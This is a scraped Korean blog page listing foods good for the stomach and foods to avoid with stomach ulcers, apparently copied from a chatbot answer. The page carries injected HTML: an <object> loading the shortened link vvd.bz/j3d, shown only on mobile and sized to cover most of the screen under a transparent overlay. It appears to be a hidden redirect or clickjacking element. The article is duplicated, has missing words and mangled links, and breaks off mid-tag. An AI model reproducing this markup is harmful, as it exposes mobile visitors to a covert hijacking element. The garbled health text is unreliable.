위에 좋은 음식 위궤양에 안좋은 음식

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3d" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:25">위에 좋은 음식과 위궤양에 안 좋은 음식</h2><h3 data-sourcepos="3:1-3:12">위에 좋은 음식</h3><p data-sourcepos="5:1-5:81">위 건강에 도움이 되는 음식은 다양합니다. 규칙적인 식사와 함께 다음과 같은 음식들을 섭취하면 위를 보호하고 건강하게 유지하는 데 도움이 됩니다.</p><ul data-sourcepos="7:1-24:0"> <li data-sourcepos="7:1-9:0"> <p data-sourcepos="7:3-8:14"><strong>양배추:</strong> 위 점막을 보호하고 소화를 돕는 성분이 풍부합니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bd627a229e9ed958&quot;,&quot;c_0bdedd2b6bc85787&quot;,null,&quot;rc_350be4b97a36f7ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6999441"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="양배추 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQVhnfKEUpBOrBImWa2O0QE5XQMBq8sHzV5lntPBPyARtyIpEVgr32s0cmetEQU"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6999441" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bd627a229e9ed958&quot;,&quot;c_0bdedd2b6bc85787&quot;,null,&quot;rc_350be4b97a36f7ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 양배추 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="10:1-12:0"> <p data-sourcepos="10:3-11:12"><strong>무:</strong> 소화를 촉진하고 위열을 내려주는 가 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bd627a229e9ed958&quot;,&quot;c_0bdedd2b6bc85787&quot;,null,&quot;rc_350be4b97a36f7ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%AC%B4(%EC%B1%84%EC%86%8C)"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="무 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTv7GQ3UayCK26yjEVfN94FuICm_0g-q2yocQ5ZyGpQUxgcIIQHYjgWPRjRrr3I"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%AC%B4(%EC%B1%84%EC%86%8C)" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bd627a229e9ed958&quot;,&quot;c_0bdedd2b6bc85787&quot;,null,&quot;rc_350be4b97a36f7ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 무 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="13:1-15:0"> <p data-sourcepos="13:3-14:12"><strong>마:</strong> 위 점막을 보호하고 소화액 분비를 조절하는 데 도움을 줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bd627a229e9ed958&quot;,&quot;c_0bdedd2b6bc85787&quot;,null,&quot;rc_350be4b97a36f7ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" ://.100ssd.co.kr/news/articleView.html?idxno=66078"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="마 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcSnOq6kkBfFz6Qvo2ecSEoLv80-jvMz5EYjtHhUL2FGSuPqZ8KRrMJxyTtMsazP"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" ://.100ssd.co.kr/news/articleView.html?idxno=66078" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bd627a229e9ed958&quot;,&quot;c_0bdedd2b6bc85787&quot;,null,&quot;rc_350be4b97a36f7ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcSn9NO80jwKzQRSLCOvZmqEtaFL4Z5JvBKoQMkMPE6M7Y9mclbFp7ijd_sYfFuy_S-FX_S6pEwASX0W0BOtD-SaU93HOvGa_CrO"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.100ssd.co.kr</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 마 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="16:1-18:0"> <p data-sourcepos="16:3-17:13"><strong>연근:</strong> 위 점막을 보호하고 소화를 돕는 가 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bd627a229e9ed958&quot;,&quot;c_0bdedd2b6bc85787&quot;,null,&quot;rc_350be4b97a36f7ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://wtable.co.kr/recipes/WdzGXDumetzxNibW86yT6z5W"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="연근 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSp1hzbu_mLln5bATl7MZVHM6P2rMzLMS0XfOXNxiHuRmK4HaoRfUvRdXtxfeTB"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://wtable.co.kr/recipes/WdzGXDumetzxNibW86yT6z5W" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bd627a229e9ed958&quot;,&quot;c_0bdedd2b6bc85787&quot;,null,&quot;rc_350be4b97a36f7ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcSplMbeWaIJb_u15wME2OjJosivXTp4AJvg9HovE3o-ttouKAD-S_Ilj7FFZ5ir1o0Q8d5HZEC7nzP6Ro2yIK1iyFDZcY0W"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">wtable.co.kr</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 연근 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="19:1-21:0"> <p data-sourcepos="19:3-20:13"><strong>감자:</strong> 소화가 잘 되고 위를 편안하게 해주는 음식입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bd627a229e9ed958&quot;,&quot;c_0bdedd2b6bc85787&quot;,null,&quot;rc_350be4b97a36f7ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://gwdmall.kr/goods/view?no=106733"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="감자 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcRhiY0J_nZrw7x2C9nqj2FXtKZ8NpkWI-G0tQxeYxUWZsfT-n1UpFkrIVVZ2b2t"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://gwdmall.kr/goods/view?no=106733" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bd627a229e9ed958&quot;,&quot;c_0bdedd2b6bc85787&quot;,null,&quot;rc_350be4b97a36f7ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcTc0y3EnbKsQ7XErJ3vlUkdkXcdxEWHHAu8QBLnm252Cd0Lq2rarR4k4GiZa5UqcR08Nfv51KY_Fs64oy5PmrCyk-hH4w"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">gwdmall.kr</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 감자 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="22:1-24:0"> <p data-sourcepos="22:3-23:14"><strong>바나나:</strong> 위산을 중화하고 위 점막을 보호하는 가 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bd627a229e9ed958&quot;,&quot;c_0bdedd2b6bc85787&quot;,null,&quot;rc_350be4b97a36f7ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%B0%94%EB%82%98%EB%82%98"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="바나나 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcSyp_OHLD_jOtgWxMe8djlFJzpwzQWh6xiZPGj9R-bQiGEPy_RpbNqZm8SXB5NR"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%B0%94%EB%82%98%EB%82%98" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bd627a229e9ed958&quot;,&quot;c_0bdedd2b6bc85787&quot;,null,&quot;rc_350be4b97a36f7ff&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 바나나 </div></div></single-image></response-element></div></p> </li> </ul><h3 data-sourcepos="25:1-25:16">위궤양에 안 좋은 음식</h3><p data-sourcepos="27:1-27:27">위궤양 환자는 다음과 같은 음식을 피해야 합니다.</p><ul data-sourcepos="29:1-35:0"> <li data-sourcepos="29:1-29:39"><strong>매운 음식:</strong> 위 점막을 자극하여 통증을 유발할 수 있습니다.</li> <li data-sourcepos="30:1-30:43"><strong>기름진 음식:</strong> 소화 부담을 높이고 위산 분비를 촉진할 수 있습니다.</li> <li data-sourcepos="31:1-31:51"><strong>카페인 음료:</strong> 위산 분비를 촉진하여 위를 자극할 수 있습니다. (커피, 콜라 등)</li> <li data-sourcepos="32:1-32:42"><strong>알코올:</strong> 위 점막을 손상시키고 위산 분비를 증가시킬 수 있습니다.</li> <li data-sourcepos="33:1-33:35"><strong>탄산음료:</strong> 위를 부풀리고 소화를 방해할 수 있습니다.</li> <li data-sourcepos="34:1-35:0"><strong>신맛이 강한 과일:</strong> 위산 분비를 자극할 수 있습니다. (레몬, 오렌지 등)</li> </ul><h3 data-sourcepos="36:1-36:11">기타 주의사항</h3><ul data-sourcepos="38:1-42:0"> <li data-sourcepos="38:1-38:40"><strong>규칙적인 식사:</strong> 불규칙한 식사는 위에 부담을 줄 수 있습니다.</li> <li data-sourcepos="39:1-39:37"><strong>적절한 식사량:</strong> 과식은 소화 불량을 유발할 수 있습니다.</li> <li data-sourcepos="40:1-40:38"><strong>스트레스 관리:</strong> 스트레스는 위궤양을 악화시킬 수 있습니다.</li> <li data-sourcepos="41:1-42:0"><strong>금연:</strong> 흡연은 위궤양의 주요 원인 중 하나입니다.</li> </ul><p data-sourcepos="43:1-43:94"><strong>주의:</strong> 위에 좋은 음식과 나쁜 음식은 개인의 체질에 따라 다를 수 있습니다. 위궤양이 의심되는 경우 반드시 전문가와 상담하여 적절한 를 받는 것이 중요합니다.</p><p data-sourcepos="45:1-45:29"><strong>더 궁금한 점이 있다면 언제든지 질문해주세요.</strong></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3d" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:25">위에 좋은 음식과 위궤양에 안 좋은 음식</h2><h3 data-sourcepos="3:1-3:12">위에 좋은 음식</h3><p data-sourcepos="5:1-5:81">위 건강에 도움이 되는 음식은 다양합니다. 규칙적인 식사와 함께 다음과 같은 음식들을 섭취하면 위를 보호하고 건강하게 유지하는 데 도움이 됩니다.</p><ul data-sourcepos="7:1-24:0"> <li data-sourcepos="7:1-9:0"> <p data-sourcepos="7:3-8:14"><strong>양배추:</strong> 위 점막을 보호하고 소화를 돕는 성분이 풍부합니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bd627a229e9ed958","c_0bdedd2b6bc85787",null,"rc_350be4b97a36f7ff",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6999441"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="양배추 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQVhnfKEUpBOrBImWa2O0QE5XQMBq8sHzV5lntPBPyARtyIpEVgr32s0cmetEQU"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6999441" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bd627a229e9ed958","c_0bdedd2b6bc85787",null,"rc_350be4b97a36f7ff",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 양배추 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="10:1-12:0"> <p data-sourcepos="10:3-11:12"><strong>무:</strong> 소화를 촉진하고 위열을 내려주는 가 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bd627a229e9ed958","c_0bdedd2b6bc85787",null,"rc_350be4b97a36f7ff",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%AC%B4(%EC%B1%84%EC%86%8C)"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="무 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTv7GQ3UayCK26yjEVfN94FuICm_0g-q2yocQ5ZyGpQUxgcIIQHYjgWPRjRrr3I"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%AC%B4(%EC%B1%84%EC%86%8C)" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bd627a229e9ed958","c_0bdedd2b6bc85787",null,"rc_350be4b97a36f7ff",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 무 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="13:1-15:0"> <p data-sourcepos="13:3-14:12"><strong>마:</strong> 위 점막을 보호하고 소화액 분비를 조절하는 데 도움을 줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bd627a229e9ed958","c_0bdedd2b6bc85787",null,"rc_350be4b97a36f7ff",null,null,"ko",null,null,null,null,1,0]];mutable:true" ://.100ssd.co.kr/news/articleView.html?idxno=66078"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="마 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSnOq6kkBfFz6Qvo2ecSEoLv80-jvMz5EYjtHhUL2FGSuPqZ8KRrMJxyTtMsazP"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" ://.100ssd.co.kr/news/articleView.html?idxno=66078" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bd627a229e9ed958","c_0bdedd2b6bc85787",null,"rc_350be4b97a36f7ff",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSn9NO80jwKzQRSLCOvZmqEtaFL4Z5JvBKoQMkMPE6M7Y9mclbFp7ijd_sYfFuy_S-FX_S6pEwASX0W0BOtD-SaU93HOvGa_CrO"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.100ssd.co.kr</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 마 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="16:1-18:0"> <p data-sourcepos="16:3-17:13"><strong>연근:</strong> 위 점막을 보호하고 소화를 돕는 가 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bd627a229e9ed958","c_0bdedd2b6bc85787",null,"rc_350be4b97a36f7ff",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://wtable.co.kr/recipes/WdzGXDumetzxNibW86yT6z5W"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="연근 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSp1hzbu_mLln5bATl7MZVHM6P2rMzLMS0XfOXNxiHuRmK4HaoRfUvRdXtxfeTB"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://wtable.co.kr/recipes/WdzGXDumetzxNibW86yT6z5W" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bd627a229e9ed958","c_0bdedd2b6bc85787",null,"rc_350be4b97a36f7ff",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSplMbeWaIJb_u15wME2OjJosivXTp4AJvg9HovE3o-ttouKAD-S_Ilj7FFZ5ir1o0Q8d5HZEC7nzP6Ro2yIK1iyFDZcY0W"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">wtable.co.kr</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 연근 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="19:1-21:0"> <p data-sourcepos="19:3-20:13"><strong>감자:</strong> 소화가 잘 되고 위를 편안하게 해주는 음식입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bd627a229e9ed958","c_0bdedd2b6bc85787",null,"rc_350be4b97a36f7ff",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://gwdmall.kr/goods/view?no=106733"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="감자 " 